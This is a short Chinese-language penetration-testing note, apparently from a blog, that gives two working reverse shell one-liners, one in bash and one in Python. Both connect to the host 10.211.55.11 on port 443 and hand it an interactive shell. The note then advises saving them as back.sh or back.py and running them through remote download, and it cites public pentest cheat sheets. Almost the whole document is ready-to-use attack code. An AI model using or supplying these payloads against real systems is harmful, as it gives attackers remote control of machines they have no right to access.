bash shell反弹脚本
/bin/bash -i > /dev/tcp/10.211.55.11/443 0<&1 2>&1
Python shell 反弹脚本
#!/usr/bin/python # This is a Python reverse shell script import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.211.55.11",443)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);
利用方式,保存成back.sh 或者back.py ,通过远程下载执行即可利用!
借鉴:
https://jivoi.github.io/2015/07/01/pentest-tips-and-tricks/
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet